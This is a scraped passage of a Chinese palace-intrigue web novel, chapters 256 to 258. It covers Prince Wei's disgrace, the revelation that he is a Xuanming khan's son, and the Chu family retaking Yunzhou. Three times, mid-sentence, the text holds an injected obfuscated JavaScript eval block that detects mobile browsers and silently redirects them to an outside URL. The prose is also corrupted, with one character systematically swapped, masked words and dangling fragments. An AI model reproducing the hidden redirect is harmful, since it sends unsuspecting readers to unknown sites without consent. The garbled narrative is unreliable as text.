皇后张开嘴,咬下那块鸭肉。熟悉的味道在口中化开,泪水却控制不住地流下来。多少个日日夜夜,她都在想,要是能再喊一声五哥该多好。 案几上的烛火摇曳,在墙上投下两人交叠的影子。“朕有件事要告诉你。”皇帝的声音突然变得冷硬,仿佛室内的温度都随之降低,“昌雨柳没死,她在玄冥当了柳皇贵妃。” 皇后惊得说不出话,手中的筷子掉在地上,发出清脆的声响。 “她用毒控制了别院的人,金蝉脱壳逃去了玄冥。”皇帝冷笑一声,眼中闪过一丝寒意,“她以为这样就能瞒天过海。” 皇后看着皇帝的眼神,心中一颤。这样的眼神,她太熟悉了。每次提到昌雨柳,他都是这样的表情,仿佛要将所有的恨意都凝聚在那双眼中。 “五哥...”她轻声唤道,声音轻得像是一片羽毛落地。 皇帝低头看她:“怎么?” “没什么。”皇后摇摇头,露出温婉的笑容,眼角还带着未干的泪痕,“臣妾就是想喊喊您。” 皇帝将她拥入怀中,龙袍上的暗纹硌得她脸颊生疼:“不必拘束,在朕面前,你永远都是那个偷吃鸭子的小丫头。” 皇后靠在他怀里,闭上眼睛。鼻间萦绕着他身上的凤馨香,混合着江米酿鸭子的香气。这一刻的温存,她要好好记住。 因为她知道,等昌雨柳的事情处理完,五哥又会变回那个对她冷若冰霜的皇帝。那时候,她又要装作什么都不知道,继续做那个温婉贤淑的皇后。 但没关系,她等了这么多年,还怕等不起吗? 夜色渐深,烛火摇曳。皇后的目光落在案几上的江米酿鸭子上,那是她和五哥之间唯一的联系。她知道,这份温存来之不易,也许转瞬即逝,但她愿意珍惜这短暂的时光。 窗外的风吹动竹帘,发出沙沙的响声。皇后靠在皇帝怀里,听着他的心跳,想起那个夏日午后。那时的他们,还不知道未来会变成什么样子。 如今的她已经不是当年那个贪吃的小丫头,而他也不再是那个会偷鸭子给她吃的五哥。但至少在这一刻,他们可以假装时光未曾流逝,一切都还和从前一样。 第二百五十六章 魏王失宠 夕阳的余晖洒在窗棂上,镀上一层淡淡的金色。皇帝站在窗前,目光凝视着远处的宫墙。 “陛下可是在想魏王的事?”皇后萱儿轻声问道,纤细的手指抚上他的衣袖。 皇帝眉头微蹙,眼底闪过一丝复杂。他转身看向皇后,目光柔和了几分:“萱儿,你说朕是不是太偏心了?” “陛下何出此言?”皇后微微一怔。 “若是换成魏王为帝,朕的江山怕是要毁在他手里。”皇帝叹了口气,语气中带着几分无奈,“可他毕竟是朕的儿子。” 皇后轻轻摇头,眼中满是温柔:“陛下多虑了。魏王年轻气盛,难免会犯些错,但他心里是敬重陛下的。” “萱儿,朕的心里话只对你说。”皇帝伸手将她揽入怀中,“这些年来,也只有你最懂朕。以后你要多陪着朕。” 皇后脸颊微红,将头轻轻靠在他肩上:“臣妾遵旨。” 皇帝看着她娇羞的模样,心头一热,正要说些什么,外面突然传来太监的声音:“陛下,魏王在御书房外跪着求见。” 皇帝眸光陡然冷了下来。 就在刚刚,魏王府内。 “什么?禁足?”魏王猛地拍案而起,茶盏被震得跌落在地,发出清脆的碎裂声。 小太监跪在地上,瑟瑟发抖:“是...是的王爷,陛下口谕,说王爷近日身子不适,让王爷好生在府中休养。” 魏王冷笑一声:“身子不适?分明是想困住本王!” 他在书房内来回踱步,眉头紧锁。库房失窃的事情还没查清,父皇就下令禁足,这事未免太过巧合。 “王爷,”管家低声道,“林大夫那边......” “闭嘴!”魏王厉声打断,眼中闪过一丝慌乱。没了银子,如何跟林大夫商谈购买星**的事?玄冥的事情已经谈妥,只差这最后一步。 “来人!备马!” 小太监战战兢兢地说:“王爷,陛下有令......” “闭嘴!快去!”魏王一脚踢翻了身边的花瓶,“本王倒要看看,是谁在父皇面前说了本王的坏话!” 魏王骑马直奔皇宫,在御书房外跪下。膝下的青石板冰凉刺骨,却浇不灭他心中的火气。 不多时,皇帝从皇后宫中回来。看到跪在门外的魏王,他脸色瞬间阴沉,径直走进御书房,连看都没看魏王一眼。 “父皇......” “跪着!”皇帝冷声打断。 魏王不敢抬头,却感觉父皇的目光一直在打量自己。那目光如刀子般锋利,让他浑身不自在。 “你可知罪?”皇帝端起茶盏,语气冰冷。 “儿臣不知......” “不知?”皇帝重重放下茶盏,茶水溅出,在案几上晕开一片水渍。“库房失窃竟敢隐瞒不报,你把朕的话当耳旁风?” “父皇明鉴,儿臣只是一时慌乱......”魏王的声音微微发颤。 “够了!”皇帝厉声打断,“你以为朕不知道你在打什么主意?那些银子,是不是已经送到玄冥去了?” 魏王心头一颤,额头上渗出细密的汗珠。他强压下心中的慌乱:“父皇,是不是太子在您面前说了什么?” “住口!”皇帝猛地站起,龙案被撞得发出沉闷的响声。“你敢诋毁太子?” 两名侍卫冲进来,将魏王拖到一旁。魏王的膝盖在地上磨出了血,却顾不得疼痛。 “父皇,儿臣真的知错了......”他的眼泪止不住地流下。 “知错?”皇帝冷笑,“你每次都是这样,以为流几滴眼泪就能蒙混过关?朕看你是越来越无法无天了!” 魏王愣住了。他从小到大用的这招,今天居然失效了? “父皇!”魏王跪在冰冷的地板上,声音带着几分哭腔,“儿臣绝无污蔑太子的心思,求您明察。” 他双手撑地,额头紧贴着地面。但他不敢动,只能保持这个姿势。在父皇面前,乖巧听话可是最好的伪装。 皇帝站在窗前,目光穿过飘动的窗帘,沉默许久,才缓缓转身。 “你还有不敢做的事?”皇帝的声音里带着一丝嘲讽,眼中闪过一抹讥讽。 魏王心头一颤,不敢抬头。他能感觉到父皇的目光如刀般锋利,正一寸寸剜着他的皮肉。 “禁足不过是个开端。”皇帝的声音愈发冰冷,“既然你选择了背叛朕,就该承担后果。” 背叛二字如同一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081461|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道惊雷,魏王浑身一震。冷汗顺着额角滑落。 难道父皇知道了他与母妃的联系?不可能,母妃做事向来谨慎。他强迫自己冷静下来,小心翼翼地试探:“父皇明鉴!儿臣对您一片赤诚,绝无二心啊!” “赤诚?”皇帝轻蔑一笑,“你当朕是三岁小儿,任你糊弄?” 魏王的手指在地板上无意识地抓挠,指甲与地面摩擦发出细微的声响。他强自镇定道:“不知父皇为何说儿臣背叛?” “你自己做过什么,心里没数?”皇帝的声音里带着几分讥讽。 魏王暗暗焦急,他做的事情太多,父皇究竟知道了哪一件?是金泰钱庄的事?还是那座银矿?又或者是... 他偷偷抬眼看向门口的温小七,希望得到些许提示。但温小七只是低着头,仿佛没看见他求助的目光。往日里对他毕恭毕敬的太监,此刻竟是一副事不关己的模样。 “没必要东张西望。”皇帝冷冷道,“朕就想听你亲自说。” 魏王咬了咬牙,装出一副可怜相:“父皇想听什么?儿臣一直谨遵您的教诲,从未做过什么出格的事啊。” 皇帝看着他这副做派,心中更添几分厌恶。虽然知道这可能不是自己的亲生儿子,但毕竟是自己一手养大的,他不愿意在宗族面前丢这个脸。 “说说你的金泰钱庄。”皇帝淡淡道,手指轻轻敲击着桌面,“再聊聊你的银矿吧。” 魏王浑身一颤,脸色瞬间惨白。他的手指无意识地抓紧了衣袍。 “还有你那好母妃,你们是什么时候搭上关系的?”皇帝眼中闪过一丝杀意,声音愈发冰冷,“想清楚再说,若敢欺瞒,你知道后果。” 魏王瘫软在地,冷汗浸透了衣衫。他知道自己已经无路可退。唯一的希望,就是赌父皇对他的那份宠爱。 “是...是在儿臣五六岁时...”魏王颤声道,“母妃派人来找我,起初一年只来一次...” 他的声音越来越小,像是在自言自语:“后来帮我建了金泰钱庄,又给了一座银矿...” “你母妃对你的期待可真高啊。”皇帝冷笑连连,“云陵伯父子的流放,云州的归属,还有那发连珠弓的图纸,都是你的手笔吧?” 第二百五十七章 你也不过是你母妃的一枚棋子罢了 魏王如遭雷击。原来父皇早已洞悉一切,只是在等他自己承认。他的手指无意识地抓挠着地面,指甲都磨出了血。 “哈哈哈!”魏王忽然狂笑起来,笑声中带着几分癫狂,“父皇,这都是你逼我的!我才是长子,凭什么皇位要给嫡子?” 他猛地站起身,目光中充满愤怒:“玄冥兵马已到,只要你废黜太子,立我为储,我就能让他们退兵!” 皇帝冷冷看着他:“除了太子的宝座,朕给你的还不够吗?去年那盒南珠,你可曾守住?连自己的库房都守不住,如何守江山?” “母妃是玄冥皇贵妃,她怎会要我的东西?”魏王仗着皇帝的宠爱,口出狂言,“父皇若不愿给,直说便是,何必找借口?” 皇帝看着眼前这个不知天高地厚的儿子,眼中流露出一丝失望。他缓缓走到书案前,取出一封信函。 “这是你母妃的亲笔信,写给玄冥大将军的。”皇帝的声音很轻,“你可认得这字迹?” 魏王接过信函,手指微微发抖。熟悉的字迹映入眼帘,那是母妃的手笔无疑。信中详细记载了宫中布防,甚至连太子的起居都一一写明。 “这...这是...”魏王的声音嘶哑,“不可能...母妃怎会...” “你以为她真的在乎你?”皇帝冷笑,“你不过是她的一枚棋子罢了。” 魏王踉跄后退,撞倒了身后的花瓶。瓷器碎裂的声响在寂静的御书房内格外刺耳。 “那些南珠,那座银矿,都是她的人偷的。”皇帝继续道,“你还真以为是太子派人干的?” 魏王的脸色越来越苍白,他想起那些年母妃给他的种种好处,原来都是为了利用他。 “父皇...”他的声音带着哭腔,“儿臣知错了...” “晚了。”皇帝挥了挥手,“来人,把他带下去。” 御书房的门被推开,几个侍卫鱼贯而入。魏王被架起来时,还在不停地喊着:“父皇,再给儿臣一次机会吧!儿臣知错了!” 皇帝背过身去,不再看他。窗外的风更大了,吹得窗帘猎猎作响。 待魏王的声音消失在走廊尽头,皇帝才缓缓坐下。他看着案上的奏折,却怎么也看不进去。 温小七轻手轻脚地上前添茶,小声道:“陛下,要不要派人去查查玄冥那边的动向?” “不必了。”皇帝揉了揉太阳穴,“该查的都查清楚了。” 他拿起一份密报,上面详细记载了玄冥大军的调动。这些年来,他何尝不知道魏王和玄冥的联系?只是一直在等,等着看这个儿子能走到哪一步。 可惜,终究是让他失望了。 随即说道:“你可不是我的孩子。” 皇帝的声音平静得可怕,仿佛在说一件微不足道的小事。殿内烛火摇曳,投下斑驳的影子,空气仿佛在这一刻凝固。 魏王只觉得天旋地转,双腿一软,差点跪倒在地。他的手指无意识地抓紧了衣袍,指节因用力而发白。殿内的温度似乎骤然降低,寒意从脚底一直蔓延到心口。 “父皇,您说什么?”他的声音沙哑,带着几分不可置信。 皇帝端坐在龙椅上,目光冷淡地看着面前失魂落魄的儿子。烛光在他威严的面容上投下阴影,更添几分肃杀之气。 “你是玄冥大汗与昌雨柳所生。”皇帝的目光冷冷地扫过魏王苍白的面容,语气中带着几分讥讽,。” 魏王踉跄着后退一步,额头已经渗出冷汗。他的目光游移不定,仿佛在寻找什么可以依靠的支撑。殿内的陈设忽然变得陌生起来,就连那些他从小熟悉的龙纹柱子,此刻也显得冰冷而疏离。 “不可能...这绝不可能!”魏王声音颤抖,指甲深深陷入掌心,“母妃她...她怎么会...”话未说完,已经哽咽得说不出话来。 皇帝起身,缓步走下台阶。他的脚步声在空旷的大殿内回响,每一步都像是踩在魏王的心上。 “她抛下你投奔玄冥,想必是想用你来算计朕。”皇帝走到魏王面前,冷笑一声,“可惜,朕如此疼爱你。” 这句话像一把利剑,直直刺入魏王的心脏。他脑中轰鸣,眼前发黑,连呼吸都变得困难起来。扶住身旁的桌角,才勉强不至于跌倒。 “父皇,您一定是在开玩笑...”他喃喃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087899|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,声音虚弱得几乎听不见,“儿臣怎么可能不是您的孩子?若真如此,母妃为何要丢下我?” 皇帝背过身去,负手而立。 “你若不信,大可在宫中等着。”皇帝的声音带着几分嘲讽,“等你那位好母妃来接你时,自可当面问个明白。” 话音未落,殿门被推开。温小七带着几个侍卫大步走入,脚步声在寂静的殿内格外刺耳。 魏王浑身一颤,下意识地后退。但他已经退无可退,身后就是冰冷的柱子。侍卫们上前,不由分说地架起已经失魂落魄的魏王。 与此同时,陇城的寒楚中,楚星河正独自站在城墙上值守。 凛冽的寒风呼啸而过,卷起他的衣袍。城墙上的火把被风吹得摇曳不定,将他的身影投射在粗糙的城墙上,忽大忽小。 他却浑然不觉这刺骨的寒意。思绪早已飞向千里之外的帝都,飞向他日楚牵挂的妻儿。寒风中,他的目光越过层层叠叠的山峦,投向遥远的方向。 “柔柔...”他轻声呢喃,声音很快被风吹散。 自从被贬为流放犯,他便只能在这边陲之地守望。眼看着黑鹰帮肆虐,百姓流离失所,他的心像被刀割一般疼痛,却无能为力。 飞火连珠弓已经不足以对抗黑鹰帮的铁骑。若想扭转战局,必须从东吴国引进星**技术。只是这条路并不好走,处处暗礁,稍有不慎就会万劫不复。 他轻轻抚摸了一下脖子上挂着的小玻璃瓶,这是柔柔送他的第一件礼物。瓶中盛着的不是普通的水,而是锦囊精灵萤萤收集的仙露。玻璃瓶在月光下泛着微弱的光芒,仿佛承载着某种希望。 “萤萤,给我一杯水。” 清凉甘甜的仙露立刻出现在手中。这个看不见的小精灵总是这样体贴,仿佛能读懂他的每一个心思。 他知道,魏王身世的真相一旦揭露,皇帝必会震怒。到那时,重任终将落到自己肩上。这是一个机会,也是一个考验。 这是柔柔早就为楚家铺好的路。只有他们夫妻才能从东吴国带回星**技术,这是不二人选。柔柔的每一步棋都走得精准,就等着这一刻的到来。 第二百五十八章 密诏传来 远处传来急促的哨声,打断了他的思绪。黑鹰帮已转道云州,不知那里的百姓是否安好。他的手不自觉地握紧了腰间的佩剑。 夜风依旧呼啸,他站得笔直如松。城墙上的火把映照着他坚毅的侧脸,在风中摇曳。 等待,对他来说从来都不是煎熬,而是蓄势待发的准备。就像现在,他静静地守在这里,等待着命运的转机。 城墙下,巡逻的士兵举着火把来回走动。偶尔传来几声犬吠,打破了楚的寂静。远处的山峦黑魆魆的,仿佛潜伏着看不见的危机。 楚星河的目光掠过远处的山峦,落在更远的地方。那里有他日楚牵挂的人,有他必须完成的使命。 风吹动他的衣袍,发出簌簌的响声。城墙上的火把在风中摇曳,将他的影子投射在地上,忽明忽暗。 这时密诏传来,楚星河的心跳得厉害。他的指尖微微发颤,眼底闪过一丝难以抑制的喜色,即刻将密诏拿给了父亲。 楚云浪接过密诏时,那双饱经沧桑的手也在微微颤抖。他缓缓展开,目光在上面逡巡,眼眶渐渐湿润。良久,他才哽咽着开口:“终于...终于等到这一天了。” 站在一旁的黑衣人从怀中又取出一道金光闪闪的令牌,恭敬地双手呈上:“这是太子殿下特意准备的手令,您可凭此向陇城指挥使说明情况。” 楚云浪接过令牌,指腹摩挲着上面精致的龙纹,眼中闪过一丝追忆。多少个日日夜夜,他都在等待这一刻的到来。 “我们终于可以回家了!”楚星霆的声音里带着掩饰不住的兴奋,他一边拉着林小七的绳子,一边在院子里转着圈,“林小七,我们要回家喽!” 林小七似乎也感受到了主人的喜悦,尾巴摇得欢快,发出一声声愉悦的低吼。 楚星河望着弟弟欢快的背影,心中五味杂陈。这些年的**生活,让他们失去了太多,如今终于等到了回归的机会。他转向两名黑衣人,声音沉稳:“我们即刻启程去东吴国。” 与此同时,云州内已是人心惶惶。街头巷尾都在传着各种消息,有说玄冥大军压境的,有说朝廷已经放弃云州的,更有甚者说云陵伯府已经投敌。 宁家大院里,下人们正在忙着收拾行装。宁大爷站在院子中央,急得直跺脚:“快点!快点!今晚必须走!帝都有涵凤在,总比在这儿强。” 宁老太太坐在马车上,看着仆人们手忙脚乱地装车,不住地叹气:“早知如此,当初就该跟着林家一起走。这下可好,弄得人心惶惶的。” 周家和卓家的情况也好不到哪去。柳星河一边指挥仆人装车,一边安慰坐在轮椅上的父亲柳明远:“爹,您别担心,林大夫在帝都,咱们去了也有照应。” 柳明远望着忙碌的院子,眼中满是忧虑:“这云州,怕是要变天了。” 卓毅将妻儿送走后,独自留在了云州。他站在城头,望着远方连绵的群山,心中沉重如铅。作为云州的官员,他深知一旦城破,百姓将遭受怎样的苦难。 城中的百姓们仍在过着平常日子。他们相信,有云陵伯府的军队在,云州固若金汤。可谁也没想到,事态的发展会如此出人意料。 当城门洞开,守将跪迎玄冥人入城时,所有人都惊呆了。街道上一片死寂,只有玄冥人战马的蹄声在石板路上回荡。 这个消息传到皇帝耳中时,他正在御花园赏梅。手中的茶盏“啪”地摔在地上,碎片四溅。他的脸色瞬间阴沉如铁:“魏王...好一个魏王!” 一个多月后,楚云浪终于带着人马赶到云州外。得知城中情况后,他立即带人潜入了郊外的庄子。 “侯爷回来了!”老兵们激动地跪倒在地,有人已经泣不成声。 楚云浪连忙将他们扶起:“起来,现在不是感伤的时候。”他的声音低沉而坚定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087900|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我们要夺回云州。” 他化装成老伙夫,悄悄潜入军营。每天天不亮就去厨房帮工,一边和士兵们拉家常,一边暗中观察。渐渐地,他摸清了内奸的底细,开始一点点清理,重新夺回军队的控制权。 两个月后的一个深楚,楚星河带着东吴国的星**工匠,秘密回到了云州。军营内日夜赶工,打造星**,训练士兵。 每天夜里,士兵们都要偷偷进行星**训练。为了掩人耳目,他们选在远离城区的荒地,用厚厚的毡毯裹住星**,以减少声响。 六月初八子时,楚家父子发起总攻。玄冥人没想到会遭遇星**部队,更没料到楚家父子已经回来。当散弹呼啸而至时,他们引以为傲的飞火连珠弓已经失去了优势。 楚星河带领星**游击队,在后方不断骚扰追击。他们采用游击战术,打一枪换一个地方,让敌人疲于奔命。 “该死的天玄人!”玄冥人将领气得直跺脚,“他们到底在哪里?!”游击队身着统一服装,只露出双眼,让敌人根本分不清是谁。 林小七也在这场战斗中立下了大功。每到楚晚,它就带领狐群偷袭玄冥人营地,咬断马腿,偷走粮食,搞得玄冥人人心惶惶。 这天夜里,林小七又带着狐群偷了一堆肉食回来。它叼着一块羊腿,得意地在楚星河面前晃来晃去,像是在炫耀自己的战利品。 楚星河看着眼前的战利品,不禁莞尔:“看来今晚又有口福了。”他蹲下身,揉了揉林小七的脑袋,“干得不错。” 营地里,士兵们正在清理武器,为明天的战斗做准备。火把的光芒映照在他们疲惫但坚毅的脸上,谁都知道,这场仗关系着云州的命运。 楚星河站在高处,望着远方星星点点的篝火。夜风吹来,带着初夏的温热。他的目光坚定,手中的星**握得更紧了。这一次,他们一定要将玄冥人赶出云州。